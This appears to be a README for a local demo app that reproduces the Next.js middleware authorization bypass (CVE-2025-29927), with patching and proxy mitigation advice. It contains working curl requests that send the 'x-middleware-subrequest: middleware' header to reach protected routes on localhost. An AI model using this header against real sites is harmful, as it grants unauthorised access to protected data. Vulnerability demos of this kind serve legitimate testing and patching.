
This application demonstrates the Next.js middleware authorization bypass vulnerability (CVE-2025-29927).
CVE-2025-29927 is an authorization bypass vulnerability in Next.js middleware. By sending a specially crafted HTTP header (x-middleware-subrequest), an attacker can bypass authorization checks implemented in the middleware, potentially gaining access to protected resources.
Install dependencies:
cd /var/www/react-nextjs/test-middleware-skip
npm install
Run the development server:
npm run dev
The server will start on http://localhost:3000
Try accessing the protected route normally:
npm run test-normal
or
curl -v http://localhost:3000/protected-data
You should receive a 401 Unauthorized response, as the middleware blocks access.
Try accessing the protected route with the exploit header:
npm run test-exploit
or
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/protected-data
If the application is vulnerable, you'll receive a 200 OK response with the protected data.
Normal access (should be blocked):
curl -v http://localhost:3000/api/protected
With exploit:
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/api/protected
To fix this vulnerability, you should:
Update Next.js to a patched version:
If you cannot update, implement a reverse proxy (like Nginx or Cloudflare) that strips the x-middleware-subrequest header from incoming requests.
Test if the API route is vulnerable:
# Normal request (should be blocked)
curl -v http://localhost:3000/api/protected
# With exploit header
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/api/protected
This tool is provided for educational and security testing purposes only. Use it to verify if your own Next.js applications are vulnerable and need patching.